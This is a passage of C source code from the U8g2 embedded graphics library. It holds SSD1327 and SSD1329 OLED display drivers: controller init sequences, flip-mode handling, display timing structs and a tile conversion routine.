display offset, shift mapping ram counter */ U8X8_CA(0x0a0, 0x051), /* remap configuration */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1327_128x128_flip1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CA(0x0a2, 0x000), /* display offset, shift mapping ram counter */ U8X8_CA(0x0a0, 0x042), /* remap configuration */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_ssd1327_midas_128x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { /* call the 96x96 procedure at the moment */ if ( u8x8_d_ssd1327_96x96_generic(u8x8, msg, arg_int, arg_ptr) != 0 ) return 1; if ( msg == U8X8_MSG_DISPLAY_SETUP_MEMORY ) { u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1327_128x128_display_info); return 1; } else if ( msg == U8X8_MSG_DISPLAY_INIT ) { u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1327_128x128_init_seq); return 1; } else if ( msg == U8X8_MSG_DISPLAY_SET_FLIP_MODE ) { if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1327_128x128_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1327_128x128_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } return 1; } return 0; } /*=============================================*/ /* ZJY-M150 128x128 https://aliexpress.com/item/1005003784174529.html https://github.com/olikraus/u8g2/issues/1960 Mostly like the MIDAS version, but requires the GPIO enabled. */ static const uint8_t u8x8_d_ssd1327_zjy_128x128_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CA(0x0fd, 0x012), /* unlock display, usually not required because the display is unlocked after reset */ U8X8_C(0x0ae), /* display off */ //U8X8_CA(0x0a8, 0x03f), /* multiplex ratio: 0x03f * 1/64 duty */ //U8X8_CA(0x0a8, 0x05f), /* multiplex ratio: 0x05f * 1/64 duty */ U8X8_CA(0x0a8, 0x07f), /* multiplex ratio: 0x05f * 1/128duty */ U8X8_CA(0x0a1, 0x000), /* display start line */ //U8X8_CA(0x0a2, 0x04c), /* display offset, shift mapping ram counter */ U8X8_CA(0x0a2, 0x000), /* display offset, shift mapping ram counter */ U8X8_CA(0x0a0, 0x051), /* remap configuration */ U8X8_CA(0x0ab, 0x001), /* Enable internal VDD regulator (RESET) */ //U8X8_CA(0x081, 0x070), /* contrast, brightness, 0..128 */ U8X8_CA(0x081, 0x053), /* contrast, brightness, 0..128 */ //U8X8_CA(0x0b1, 0x055), /* phase length */ U8X8_CA(0x0b1, 0x051), /* phase length */ //U8X8_CA(0x0b3, 0x091), /* set display clock divide ratio/oscillator frequency (set clock as 135 frames/sec) */ U8X8_CA(0x0b3, 0x001), /* set display clock divide ratio/oscillator frequency */ //? U8X8_CA(0x0ad, 0x002), /* master configuration: disable embedded DC-DC, enable internal VCOMH */ //? U8X8_C(0x086), /* full current range (0x084, 0x085, 0x086) */ U8X8_C(0x0b9), /* use linear lookup table */ //U8X8_CA(0x0bc, 0x010), /* pre-charge voltage level */ U8X8_CA(0x0bc, 0x008), /* pre-charge voltage level */ //U8X8_CA(0x0be, 0x01c), /* VCOMH voltage */ U8X8_CA(0x0be, 0x007), /* VCOMH voltage */ U8X8_CA(0x0b6, 0x001), /* second precharge */ U8X8_CA(0x0d5, 0x062), /* enable second precharge, internal vsl (bit0 = 0) */ U8X8_CA(0x0b5, 0x003), /* Enable GPIO, issue 1960 */ U8X8_C(0x0a4), /* normal display mode */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_ssd1327_zjy_128x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { /* call the 96x96 procedure at the moment */ if ( u8x8_d_ssd1327_96x96_generic(u8x8, msg, arg_int, arg_ptr) != 0 ) return 1; if ( msg == U8X8_MSG_DISPLAY_SETUP_MEMORY ) { u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1327_128x128_display_info); return 1; } else if ( msg == U8X8_MSG_DISPLAY_INIT ) { u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1327_zjy_128x128_init_seq); return 1; } else if ( msg == U8X8_MSG_DISPLAY_SET_FLIP_MODE ) { if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1327_128x128_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1327_128x128_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } return 1; } return 0; } /*=============================================*/ /* Waveshare 128x128 Module https://www.waveshare.com/w/upload/8/80/1.5inch_OLED_Module_User_Manual_EN.pdf https://github.com/olikraus/u8g2/issues/880 This is mostly a takeover of the EA display. */ /* https://github.com/SeeedDocument/Grove_OLED_1.12/raw/master/resources/LY120-096096.pdf */ /* http://www.seeedstudio.com/wiki/index.php?title=Twig_-_OLED_96x96 */ /* values from u8glib */ /* Re-map setting in Graphic Display Data RAM, command 0x0a0 Bit 0: Column Address Re-map Bit 1: Nibble Re-map Bit 2: Horizontal/Vertical Address Increment Bit 3: Not used, must be 0 Bit 4: COM Re-map Bit 5: Not used, must be 0 Bit 6: COM Split Odd Even Bit 7: Not used, must be 0 */ /* takeover from https://github.com/olikraus/u8g2/issues/880 */ static const uint8_t u8x8_d_ssd1327_ws_128x128_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0ae), //--turn off oled panel U8X8_CAA(0x015, 0x000, 0x07f), //set column address, start column 0, end column 127 U8X8_CAA(0x075, 0x000, 0x07f), //set row address, start row 0, end row 127 U8X8_CA(0x081, 0x080), //set contrast control U8X8_CA(0x0a0, 0x051), //gment remap, 51 U8X8_CA(0x0a1, 0x000), //start line U8X8_CA(0x0a2, 0x000), //display offset U8X8_CAA(0x0a4, 0x0a8, 0x07f), //rmal display, set multiplex ratio U8X8_CA(0x0b1, 0x0f1), //set phase leghth U8X8_CA(0x0b3, 0x000), //set dclk, 80Hz:0xc1 90Hz:0xe1 100Hz:0x00 110Hz:0x30 120Hz:0x50 130Hz:0x70 01 U8X8_CA(0x0ab, 0x001), // U8X8_CA(0x0b6, 0x00f), //set phase leghth U8X8_CA(0x0be, 0x00f), U8X8_CA(0x0bc, 0x008), U8X8_CA(0x0d5, 0x062), U8X8_CA(0x0fd, 0x012), U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_ssd1327_ws_128x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { /* call the 96x96 procedure at the moment */ if ( u8x8_d_ssd1327_96x96_generic(u8x8, msg, arg_int, arg_ptr) != 0 ) return 1; if ( msg == U8X8_MSG_DISPLAY_SETUP_MEMORY ) { u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1327_ea_w128128_display_info); return 1; } else if ( msg == U8X8_MSG_DISPLAY_INIT ) { u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1327_ws_128x128_init_seq); return 1; } else if ( msg == U8X8_MSG_DISPLAY_SET_FLIP_MODE ) { if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1327_ea_w128128_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1327_ea_w128128_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } return 1; } return 0; } /*=============================================*/ /* Visonox VGM128096A4W10 128x96 COB https://github.com/olikraus/u8g2/files/4052919/M02289_VGM128096A4W10_Y02.pdf https://github.com/olikraus/u8g2/issues/1090 */ static const u8x8_display_info_t u8x8_ssd1327_128x96_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 20, /* pre_chip_disable_wait_ns = */ 10, /* reset_pulse_width_ms = */ 100, /* post_reset_wait_ms = */ 100, /**/ /* sda_setup_time_ns = */ 100, /* */ /* sck_pulse_width_ns = */ 100, /* */ /* sck_clock_hz = */ 4000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 1, /* use 1 instead of 4, because the SSD1327 seems to be very slow, Update 9 Aug 2019: The OLED from aliexpress supports 400kHz */ /* data_setup_time_ns = */ 40, /* write_pulse_width_ns = */ 60, /* tile_width = */ 16, /* tile_height = */ 12, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 0, /* pixel_width = */ 128, /* pixel_height = */ 96 }; /* https://github.com/SeeedDocument/Grove_OLED_1.12/raw/master/resources/LY120-096096.pdf */ /* http://www.seeedstudio.com/wiki/index.php?title=Twig_-_OLED_96x96 */ /* values from u8glib */ /* Re-map setting in Graphic Display Data RAM, command 0x0a0 Bit 0: Column Address Re-map Bit 1: Nibble Re-map Bit 2: Horizontal/Vertical Address Increment Bit 3: Not used, must be 0 Bit 4: COM Re-map Bit 5: Not used, must be 0 Bit 6: COM Split Odd Even Bit 7: Not used, must be 0 */ /* init values from the Visionox datasheeet section 10.4 */ static const uint8_t u8x8_d_ssd1327_128x96_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CA(0x0fd, 0x012), /* unlock display, usually not required because the display is unlocked after reset */ U8X8_C(0x0ae), /* display off */ //U8X8_CA(0x0a8, 0x03f), /* multiplex ratio: 0x03f * 1/64 duty */ U8X8_CA(0x0a8, 0x05f), /* multiplex ratio: 0x05f * 1/64 duty */ //U8X8_CA(0x0a8, 0x07f), /* multiplex ratio: 0x05f * 1/128duty */ U8X8_CA(0x0a1, 0x000), /* display start line */ //U8X8_CA(0x0a2, 0x04c), /* display offset, shift mapping ram counter */ U8X8_CA(0x0a2, 0x020), /* display offset, shift mapping ram counter */ U8X8_CA(0x0a0, 0x051), /* remap configuration */ U8X8_CA(0x0ab, 0x001), /* Enable internal VDD regulator (RESET) */ //U8X8_CA(0x081, 0x070), /* contrast, brightness, 0..128 */ U8X8_CA(0x081, 0x0df), /* contrast, brightness, 0..128 (0xdf as per datasheet) */ U8X8_CA(0x0b1, 0x022), /* phase length */ U8X8_CA(0x0b3, 0x050), /* set display clock divide ratio/oscillator frequency */ //? U8X8_CA(0x0ad, 0x002), /* master configuration: disable embedded DC-DC, enable internal VCOMH */ //? U8X8_C(0x086), /* full current range (0x084, 0x085, 0x086) */ U8X8_C(0x0b9), /* use linear lookup table */ U8X8_CA(0x0bc, 0x010), /* pre-charge voltage level */ U8X8_CA(0x0be, 0x005), /* VCOMH voltage */ U8X8_CA(0x0b6, 0x00a), /* second precharge */ U8X8_CA(0x0d5, 0x062), /* enable second precharge, internal vsl (bit0 = 0) */ U8X8_C(0x0a4), /* normal display mode */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1327_128x96_flip0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CA(0x0a2, 0x020), /* display offset, shift mapping ram counter */ U8X8_CA(0x0a0, 0x051), /* remap configuration */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1327_128x96_flip1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CA(0x0a2, 0x060), /* display offset, shift mapping ram counter */ U8X8_CA(0x0a0, 0x042), /* remap configuration */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_ssd1327_visionox_128x96(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { /* call the 96x96 procedure at the moment */ if ( u8x8_d_ssd1327_96x96_generic(u8x8, msg, arg_int, arg_ptr) != 0 ) return 1; if ( msg == U8X8_MSG_DISPLAY_SETUP_MEMORY ) { u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1327_128x96_display_info); return 1; } else if ( msg == U8X8_MSG_DISPLAY_INIT ) { u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1327_128x96_init_seq); return 1; } else if ( msg == U8X8_MSG_DISPLAY_SET_FLIP_MODE ) { if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1327_128x96_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1327_128x96_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } return 1; } return 0; } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_d_ssd1329.c ================================================ /* u8x8_d_ssd1329.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2016, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "u8x8.h" static const uint8_t u8x8_d_ssd1329_128x96_noname_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0ae), /* display off */ U8X8_CA(0x0b3, 0x091), /* set display clock divide ratio/oscillator frequency (set clock as 135 frames/sec) */ U8X8_CA(0x0a8, 0x05f), /* multiplex ratio: 0x03f * 1/64 duty - changed by CREESOO, acc. to datasheet, 100317*/ U8X8_CA(0x0a2, 0x000), /* display offset, shift mapping ram counter */ U8X8_CA(0x0a1, 0x000), /* display start line */ U8X8_CA(0x0ad, 0x002), /* master configuration: disable embedded DC-DC, enable internal VCOMH */ U8X8_CA(0x0a0, 0x052), /* remap configuration, horizontal address increment (bit 2 = 0), enable nibble remap (upper nibble is left, bit 1 = 1) */ U8X8_C(0x086), /* full current range (0x084, 0x085, 0x086) */ #ifdef removed U8X8_C(0x0b8), /* set gray scale table */ U8X8_A(1), /* */ U8X8_A(5), /* */ U8X8_A(10), /* */ U8X8_A(14), /* */ U8X8_A(19), /* */ U8X8_A(23), /* */ U8X8_A(28), /* */ U8X8_A(32), /* */ U8X8_A(37), /* */ U8X8_A(41), /* */ U8X8_A(46), /* */ U8X8_A(50), /* */ U8X8_A(55), /* */ U8X8_A(59), /* */ U8X8_A(63), /* */ #endif U8X8_C(0x0b7), /* set default gray scale table */ U8X8_CA(0x081, 0x070), /* contrast, brightness, 0..128 */ U8X8_CA(0x0b2, 0x051), /* frame frequency (row period) */ U8X8_CA(0x0b1, 0x055), /* phase length */ U8X8_CA(0x0bc, 0x010), /* pre-charge voltage level */ U8X8_CA(0x0b4, 0x002), /* set pre-charge compensation level (not documented in the SDD1325 datasheet, but used in the NHD init seq.) */ U8X8_CA(0x0b0, 0x028), /* enable pre-charge compensation (not documented in the SDD1325 datasheet, but used in the NHD init seq.) */ U8X8_CA(0x0be, 0x01c), /* VCOMH voltage */ U8X8_CA(0x0bf, 0x002|0x00d), /* VSL voltage level (not documented in the SDD1325 datasheet, but used in the NHD init seq.) */ U8X8_C(0x0a4), /* normal display mode */ U8X8_CA(0x023, 0x003), /* graphics accelleration: fill pixel */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1329_128x96_nhd_powersave0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0af), /* display on */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1329_128x96_nhd_powersave1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0ae), /* display off */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1329_128x96_nhd_flip0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CA(0x0a0, 0x052), /* remap */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1329_128x96_nhd_flip1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CA(0x0a0, 0x041), /* remap */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; /* input: one tile (8 Bytes) output: Tile for ssd1329 (32 Bytes) */ static uint8_t u8x8_ssd1329_8to32_dest_buf[32]; static uint8_t *u8x8_ssd1329_8to32(U8X8_UNUSED u8x8_t *u8x8, uint8_t *ptr) { uint8_t v; uint8_t a,b; uint8_t i, j; uint8_t *dest; for( j = 0; j < 4; j++ ) { dest = u8x8_ssd1329_8to32_dest_buf; dest += j; a =*ptr; ptr++; b = *ptr; ptr++; for( i = 0; i < 8; i++ ) { v = 0; if ( a&1 ) v |= 0xf0; if ( b&1 ) v |= 0x0f; *dest = v; dest+=4; a >>= 1; b >>= 1; } } return u8x8_ssd1329_8to32_dest_buf; } static uint8_t u8x8_d_ssd1329_128x96_generic(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x, y, c; uint8_t *ptr; switch(msg) { /* handled by the calling function case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1329_128x96_nhd_display_info); break; */ case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1329_128x96_noname_init_seq); break; case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1329_128x96_nhd_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1329_128x96_nhd_powersave1_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1329_128x96_nhd_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1329_128x96_nhd_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x081 ); u8x8_cad_SendArg(u8x8, arg_int ); /* ssd1329 has range from 0 to 255 */ u8x8_cad_EndTransfer(u8x8); break; #endif case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); x = ((u8x8_tile_t *)arg_ptr)->x_pos; x *= 4; y = (((u8x8_tile_t *)arg_ptr)->y_pos); y *= 8; y += u8x8->x_offset; /* x_offset is used as y offset for the ssd1329 */ do { c = ((u8x8_tile_t *)arg_ptr)->cnt; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; do { if ( ptr[0] | ptr[1] | ptr[2] | ptr[3] | ptr[4] | ptr[5] | ptr[6] | ptr[7] ) { /* draw the tile if pattern is not zero for all bytes */ u8x8_cad_SendCmd(u8x8, 0x015 ); /* set column address */ u8x8_cad_SendArg(u8x8, x ); /* start */ u8x8_cad_SendArg(u8x8, x+3 ); /* end */ u8x8_cad_SendCmd(u8x8, 0x075 ); /* set row address */ u8x8_cad_SendArg(u8x8, y); u8x8_cad_SendArg(u8x8, y+7); u8x8_cad_SendData(u8x8, 32, u8x8_ssd1329_8to32(u8x8, ptr)); } else { /* tile is empty, use the graphics acceleration command */ /* are this really available on the SSD1329??? */ u8x8_cad_SendCmd(u8x8, 0x024 ); // draw rectangle u8x8_cad_SendArg(u8x8, x ); u8x8_cad_SendArg(u8x8, y ); u8x8_cad_SendArg(u8x8, x+3 ); u8x8_cad_SendArg(u8x8, y+7 ); u8x8_cad_SendArg(u8x8, 0 ); // clear } ptr += 8; x += 4; c--; } while( c > 0 ); //x += 4; arg_int--; } while( arg_int > 0 ); u8x8_cad_EndTransfer(u8x8); break; default: return 0; } return 1; } static const u8x8_display_info_t u8x8_ssd1329_128x96_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 20, /* pre_chip_disable_wait_ns = */ 15, /* reset_pulse_width_ms = */ 100, /* post_reset_wait_ms = */ 100, /**/ /* sda_setup_time_ns = */ 100, /* ssd1329 */ /* sck_pulse_width_ns = */ 100, /* ssd1329 */ /* sck_clock_hz = */ 4000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 40, /* write_pulse_width_ns = */ 60, /* ssd1329 */ /* tile_width = */ 16, /* tile_height = */ 12, /* default_x_offset = */ 0, /* x_offset is used as y offset for the ssd1329 */ /* flipmode_x_offset = */ 0, /* x_offset is used as y offset for the ssd1329 */ /* pixel_width = */ 128, /* pixel_height = */ 96 }; uint8_t u8x8_d_ssd1329_128x96_noname(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { if ( msg == U8X8_MSG_DISPLAY_SETUP_MEMORY ) { u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1329_128x96_display_info); return 1; } return u8x8_d_ssd1329_128x96_generic(u8x8, msg, arg_int, arg_ptr); } /*=================================================*/ /* SSD1329 with 96x96 For this display, the x_offset has been reverted to its original meaning! https://github.com/olikraus/u8g2/issues/1511 FlipMode 1 probably does not work, see issue */ static const uint8_t u8x8_d_ssd1329_96x96_flip0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CA(0x0a2, 0x000), /* display offset, shift mapping ram counter */ U8X8_CA(0x0a1, 0x000), /* display start line */ U8X8_CA(0x0a0, 0x042), /* remap */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1329_96x96_flip1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CA(0x0a2, 0x060), /* display offset, shift mapping ram counter */ U8X8_CA(0x0a1, 0x000), /* display start line */ U8X8_CA(0x0a0, 0x051), /* remap */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_ssd1329_96x96_noname_init_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_C(0x0ae), /* display off */ U8X8_CA(0x0b3, 0x0f0), /* set display clock divide ratio/oscillator frequency, see #1511*/ U8X8_CA(0x0a8, 0x05f), /* multiplex ratio: 0x03f * 1/64 duty */ U8X8_CA(0x0a2, 0x000), /* display offset, shift mapping ram counter */ U8X8_CA(0x0a1, 0x000), /* display start line */ U8X8_CA(0x0ad, 0x002), /* master configuration: disable embedded DC-DC, enable internal VCOMH */ U8X8_CA(0x0a0, 0x042), /* remap configuration, horizontal address increment (bit 2 = 0), enable nibble remap (upper nibble is left, bit 1 = 1) */ U8X8_C(0x086), /* full current range (0x084, 0x085, 0x086) */ #ifdef removed U8X8_C(0x0b8), /* set gray scale table */ U8X8_A(1), /* */ U8X8_A(5), /* */ U8X8_A(10), /* */ U8X8_A(14), /* */ U8X8_A(19), /* */ U8X8_A(23), /* */ U8X8_A(28), /* */ U8X8_A(32), /* */ U8X8_A(37), /* */ U8X8_A(41), /* */ U8X8_A(46), /* */ U8X8_A(50), /* */ U8X8_A(55), /* */ U8X8_A(59), /* */ U8X8_A(63), /* */ #endif U8X8_C(0x0b7), /* set default gray scale table */ U8X8_CA(0x081, 0x070), /* contrast, brightness, 0..255 */ U8X8_CA(0x0b2, 0x023), /* frame frequency (row period), see #1511 */ U8X8_CA(0x0b1, 0x021), /* phase length, see #1511 */ U8X8_CA(0x0bc, 0x010), /* pre-charge voltage level */ U8X8_CA(0x0b4, 0x002), /* set pre-charge compensation level (not documented in the SDD1325 datasheet, but used in the NHD init seq.) */ U8X8_CA(0x0b0, 0x028), /* enable pre-charge compensation (not documented in the SDD1325 datasheet, but used in the NHD init seq.) */ U8X8_CA(0x0be, 0x01f), /* VCOMH voltage */ U8X8_CA(0x0bf, 0x002|0x00d), /* VSL voltage level (not documented in the SDD1325 datasheet, but used in the NHD init seq.) */ U8X8_C(0x0a4), /* normal display mode */ U8X8_CA(0x023, 0x003), /* graphics accelleration: fill pixel */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static uint8_t u8x8_d_ssd1329_96x96_generic(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t x, y, c; uint8_t *ptr; switch(msg) { /* handled by the calling function case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1329_128x96_nhd_display_info); break; */ case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1329_96x96_noname_init_seq); break; case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1329_128x96_nhd_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1329_128x96_nhd_powersave1_seq); break; case U8X8_MSG_DISPLAY_SET_FLIP_MODE: if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1329_96x96_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1329_96x96_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } break; #ifdef U8X8_WITH_SET_CONTRAST case U8X8_MSG_DISPLAY_SET_CONTRAST: u8x8_cad_StartTransfer(u8x8); u8x8_cad_SendCmd(u8x8, 0x081 ); u8x8_cad_SendArg(u8x8, arg_int ); /* ssd1329 has range from 0 to 255 */ u8x8_cad_EndTransfer(u8x8); break; #endif case U8X8_MSG_DISPLAY_DRAW_TILE: u8x8_cad_StartTransfer(u8x8); x = ((u8x8_tile_t *)arg_ptr)->x_pos; x *= 4; x += u8x8->x_offset; y = (((u8x8_tile_t *)arg_ptr)->y_pos); y *= 8; do { c = ((u8x8_tile_t *)arg_ptr)->cnt; ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; do { if ( ptr[0] | ptr[1] | ptr[2] | ptr[3] | ptr[4] | ptr[5] | ptr[6] | ptr[7] ) { /* draw the tile if pattern is not zero for all bytes */ u8x8_cad_SendCmd(u8x8, 0x015 ); /* set column address */ u8x8_cad_SendArg(u8x8, x ); /* start */ u8x8_cad_SendArg(u8x8, x+3 ); /* end */ u8x8_cad_SendCmd(u8x8, 0x075 ); /* set row address */ u8x8_cad_SendArg(u8x8, y); u8x8_cad_SendArg(u8x8, y+7); u8x8_cad_SendData(u8x8, 32, u8x8_ssd1329_8to32(u8x8, ptr)); } else { /* tile is empty, use the graphics acceleration command */ /* are this really available on the SSD1329??? */ u8x8_cad_SendCmd(u8x8, 0x024 ); // draw rectangle u8x8_cad_SendArg(u8x8, x ); u8x8_cad_SendArg(u8x8, y ); u8x8_cad_SendArg(u8x8, x+3 ); u8x8_cad_SendArg(u8x8, y+7 ); u8x8_cad_SendArg(u8x8, 0 ); // clear } ptr += 8; x += 4; c--; } while( c > 0 ); //x += 4; arg_int--; } while( arg_int > 0 ); u8x8_cad_EndTransfer(u8x8); break; default: return 0; } return 1; } static const u8x8_display_info_t u8x8_ssd1329_96x96_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 20, /* pre_chip_disable_wait_ns = */ 15, /* reset_pulse_width_ms = */ 100, /* post_reset_wait_ms = */ 100, /**/ /* sda_setup_time_ns = */ 100, /* ssd1329 */ /* sck_pulse_width_ns = */ 100, /* ssd1329 */ /* sck_clock_hz = */ 4000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 40, /* 